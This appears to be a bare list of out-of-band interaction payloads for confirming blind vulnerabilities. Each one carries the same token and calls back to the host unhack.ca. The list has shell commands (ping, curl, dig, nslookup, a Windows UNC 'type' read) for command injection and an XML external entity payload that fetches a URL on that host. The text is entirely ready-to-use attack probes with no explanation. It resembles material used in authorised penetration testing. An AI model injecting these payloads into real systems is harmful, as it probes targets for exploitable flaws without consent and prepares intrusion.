$ ping -c1 -p 003d2087fd760a74c79efb45ed545a00 unhack.ca
 

$ curl http://unhack.ca/p/3d2087fd760a74c79efb45ed545a
 

$ dig 3d2087fd760a74c79efb45ed545a @unhack.ca
 

$ dig 3d2087fd760a74c79efb45ed545a.ns.unhack.ca
 

C:\> nslookup 3d2087fd760a74c79efb45ed545a unhack.ca
 

C:\> type \\unhack.ca\3d2087fd760a74c79efb45ed545a\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/3d2087fd760a74c79efb45ed545a">]>
    <foo>&xxe;</foo>